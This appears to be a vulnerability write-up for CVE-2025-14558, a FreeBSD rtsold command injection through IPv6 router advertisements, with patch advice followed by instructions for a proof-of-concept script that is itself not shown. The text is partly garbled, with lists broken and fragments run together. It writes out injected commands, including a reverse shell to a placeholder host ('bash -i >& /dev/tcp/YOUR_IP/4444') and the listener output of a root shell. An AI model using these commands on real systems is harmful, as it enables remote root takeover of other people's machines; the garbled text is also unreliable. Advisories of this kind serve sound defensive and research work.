
CVE-2025-14558
CVE-2025-14558 is a critical Remote Code Execution (RCE) vulnerability affecting FreeBSD systems that use IPv6 router solicitation services. A flaw in how untrusted network input is handled allows attackers to execute arbitrary shell commands.
rtsol(8)rtsold(8)resolvconf(8)If exploited successfully, an attacker can:
Strongly recommended actions:
rtsol / rtsold if IPv6 RA is not requiredAny FreeBSD system listening to IPv6 router advertisements on an untrusted network is at high risk. Patch immediately or disable the affected services.
If the PoC script for CVE-2025-14558 works successfully on a vulnerable FreeBSD system (unpatched, with rtsold running and processing IPv6 RA messages):
rtsold runs as root and calls /sbin/resolvconf with the malicious domain).For simple test like --command "id > /tmp/pwned":
A file /tmp/pwned is created containing output like:
uid=0(root) gid=0(wheel) groups=0(wheel)
For --command "touch /tmp/exploit_success":
/tmp/exploit_success appears.For reverse shell like --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1":
Check on the target with commands like:
ls -l /tmp/pwned
cat /tmp/pwned
The script outputs:
[+] Sending malicious RA on eth0
[+] Injected command: id > /tmp/pwned
[+] Target must run vulnerable rtsold and process the RA
[+] Done. Check target for execution (e.g. /tmp/pwned)
For reverse shell: If successful, your nc -lvnp 4444 gets a connection and a root shell:
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
bash: cannot set terminal process groups: No job control in this shell
bash: no job control in this shell
root@vulnerable-host:~ #
(You now have root shell – type commands like id, whoami, etc.)
rtsold not running, not on same L2 network, firewall blocking RA, or IPv6 disabled.This is observable only in a controlled lab on a vulnerable (pre-Dec 16, 2025 patch) FreeBSD system. No public real-world exploitation reports as of December 23, 2025. Patch immediately in production.